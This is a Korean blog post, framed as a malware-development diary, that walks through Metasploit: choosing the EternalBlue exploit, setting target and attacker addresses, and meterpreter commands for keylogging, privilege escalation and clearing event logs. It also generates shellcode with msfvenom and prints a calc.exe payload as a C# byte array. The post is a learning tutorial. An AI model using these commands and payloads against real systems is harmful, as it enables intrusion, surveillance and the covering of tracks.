악성코드와 백신/악성코드 개발일지

[악성코드 개발](7)[metasploit]

황올뱀 2026. 3. 9. 21:41

metasploit

metasploit 모듈 모음
https://docs.metasploit.com/docs/modules.html

나는 WSL에 환경을 구축했다!

 

이 사이트를 참고하면 도움이 된다

https://tryhackme.com/module/metasploit

기본 명령어

msfconsole로 msf내부 콘솔로 들어가 명령어를 치면 된다

  • 컨텍스트 변경
    use exploit/windows/smb/ms17_010_eternalblue
    익스플로잇인데 / windows이 타겟이고 / 파일,프린터 공유기 공격을 하는 / ms17_010_eternalblue 공격을 / 사용하겠다

  • info: 해당 익스의 정보를 출력함
    물론 컨텍스트 밖에서
    info auxiliary/scanner/ssh/ssh_login처럼 물어봐도 괜찮다

  • show options: 해야 하는 설정을 보여줌
    • Module options: 침투에 필요한 정보
      공격 대상의 IP, 포트 등...
    • Payload options: 침투 후에 필요한 정보
      공격자의 IP, 행동 등...
    • 예시 이미지

 

  • show payloads: 이 익스와 사용가능한 페이로드 목록
    • 예시 이미지

  • back: 해당 익스 컨텍스트에서 빠져나옴

  • search <찾고싶은 익스>: 익스를 찾아줌
    예) search ms17-010

 

매개변수 설정

그냥 사용하면 되는게 아니라 페이로드마다 환경 설정을 해줘야 한다

  • set <매개변수> <값>: 매개변수 값 설정
    다른 컨텍스트로 변경하면 기본값으로 초기화됨
  • setg <매개변수> <값>: 전역 설정
    종료 전까지 설정이 유지된다
set rhosts 10.48.145.163

 

  • unset / unset all: set 초기화
  • unsetg: setg 초기화

 

자주 사용하는 매개변수 모음

RHOSTS: 원격 호스트 (공격 대상의 IP 주소)
여러 대상을 지정 가능
(공백, -범위지정, CIDR표기법, 파일로 불러오기 등)
RPORT: 원격 포트 (공격 대상의 포트)
PAYLOAD: 익스에 사용할 페이로드
LHOST: 공격자의 IP 주소
LPORT: 공격자의 포트 주소
SESSION: 침투 후 공격 단계에서 기존 연결 재사용

 

익스 발동

모든 매개변수를 설정한 다음에는 익스플로잇을 발동할 수 있다!

  • exploit: 익스 발동
    • background: 익스를 백그라운드로 전환하고 msfconsole로 돌아옴
  • exploit -z: 백그라운드에서 익스 실행
  • sessions: 세션 정보 보기
    • sessions -i <세션 번호>: 특정 세션과 상호작용 하기

 

meterpreter

일반 쉘과 달리 RAM에서만 상주하는 특수 페이로드
    은밀하고
    강력하고
    확장성이 좋다

만약 익스가 성공한다면 meterpreter> 가 뜰 것이다.
이걸로 다양한 기능을 쓸 수 있다

  • 시스템 제어
    스크린샷, 키로거: screenshot, keyscan_start
  • 권한 상승: getsystem
  • 파일 관리: download, upload
  • 흔적 지우기: clearev

실제 metasploit을 이용해 공격한 예시
https://asec.ahnlab.com/ko/26705/

 

msfvenom이란?

metasploit에서 개발한 페이로드 생성 및 인코딩 도구이다. <- 악성코드에서 사용할 부분!

msfvenom -p [페이로드] LHOST=[공격자IP] LPORT=[포트] -f [포맷] -o [파일명]

근데 사실 IP같은걸 지정 안해도 바로 페이로드를 뽑을 수 있다.

msfvenom -p windows/x64/exec CMD=calc.exe -f csharp

windows/x64/exec라는 페이로드의 종류로
windows x64 환경에서 실행되는
excute를 실행해라
calc.exe라는 명령어를 사용하여
c#의 형태로 출력하여라

byte[] buf = new byte[276] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,
0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x8b,
0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,
0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,
0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,
0x31,0x8b,0x6f,0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,
0xba,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x48,0x83,0xc4,0x28,0x3c,
0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,
0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00};

그럼 이렇게 예쁜 페이로드가 만들어진다!

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o payload.bin

이렇게 옵션을 줘서 .bin 파일로 저장할 수도 있다.

반응형